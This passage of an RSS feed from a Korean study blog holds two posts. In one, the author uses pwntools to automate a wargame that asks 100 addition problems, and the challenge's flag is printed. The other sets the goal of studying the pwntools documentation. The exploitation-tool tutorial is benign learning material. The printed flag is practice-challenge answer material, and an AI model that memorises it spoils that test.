    printf(&quot;&amp;gt; &quot;);
    scanf(&quot;%d&quot;, &amp;amp;ans);
    if (a + b == ans) {
      printf(&quot;Correct!\n&quot;);
    }
    else {
      printf(&quot;Wrong!\n&quot;);
      return 0;
    }
  }
  printf(&quot;Congrats! flag{welcome_to_pwntools}&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘의 예제 문제는 덧셈뺄셈 100문제를 풀이 하면 문제가 풀리는 워게임을 풀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연히 손수 100문제를 다풀면 시간이 무척 오래 걸리지만 pwntool를 활용하여 문제를 풀면 되게 간단하게 문제를 풀수있다.&lt;/p&gt;
&lt;pre id=&quot;code_1769237179383&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# ./test 를 실행시킨다.
r = process(&quot;./plusminus&quot;)

# 총 100번 반복한다.
for i in range(100):

    # 몇번째 문제인지 표시
    print(&quot;Solving &quot; + str(i))

    # 문제의 숫자 앞까지 읽어들이기
    r.recvuntil(&quot;:&quot;)

    # + 앞까지 읽어서 첫번째 항 숫자 읽어들이기
    rawa = r.recvuntil(&quot;+&quot;)[:-1]
    a = int(rawa)

    # = 앞까지 읽어서 두번째 항 숫자 읽어들이기
    rawb = r.recvuntil(&quot;=&quot;)[:-1]
    b = int(rawb)

    # 답을 구함
    ans = a + b

        # 답을 프로그램에 입력시킴
    r.sendline(str(ans))

    # Correct! 문자열 읽어줌
    r.recvuntil(&quot;Correct!\n&quot;)

# 다 끝나면 interactive() 로 제어를 넘겨받음
r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 직접 pwntool를 사용해보며 물론 내가 직접 입력하여 워게임문제를 풀수도 있지만 간단하게 코드를 작성하여 풀 수 있다는 점이 굉장히 매력적으로 다가왔고 pwntool공부의 시작점이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음부터이는 이 pwntool를 활용하여 풀다만 rop문제의 파이썬 정답코드를 쓰고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모각코(코딩스터디)</category>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/22</guid>
      <comments>https://mincom1224.tistory.com/22#entry22comment</comments>
      <pubDate>Sat, 24 Jan 2026 15:47:29 +0900</pubDate>
    </item>
    <item>
      <title>2026-01-24 동계 모각코 4차 목표</title>
      <link>https://mincom1224.tistory.com/21</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;download.png&quot; data-origin-width=&quot;287&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cha5O6/dJMcac2Wbew/wy1hXX5moVJ3WCZTKBipO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cha5O6/dJMcac2Wbew/wy1hXX5moVJ3WCZTKBipO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cha5O6/dJMcac2Wbew/wy1hXX5moVJ3WCZTKBipO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcha5O6%2FdJMcac2Wbew%2Fwy1hXX5moVJ3WCZTKBipO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;287&quot; height=&quot;176&quot; data-filename=&quot;download.png&quot; data-origin-width=&quot;287&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저번에 rop문제를 풀다가 헥스값을 내가 직접 보고 사용하지 못하는 것을 보고 결국에는 pwntool의 필요성을 깨닫고 오늘은 pwntool에 대해 알아볼 것 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.pwntools.com/en/stable/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://docs.pwntools.com/en/stable/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwntool 공식 docs를 읽으며 영어실력과 pwntool 실력을 올리려한다.&lt;/p&gt;</description>
      <author>mincom1224</author>
      <guid isPermaLink="true">https://mincom1224.tistory.com/21</guid>
      <comments>https://mincom1224.tistory.com/21#entry21comment</comments>
      <pubDate>Sat, 24 Jan 2026 13:48:00 +0900</pubDate>
    </item>
  </channel>
</rss>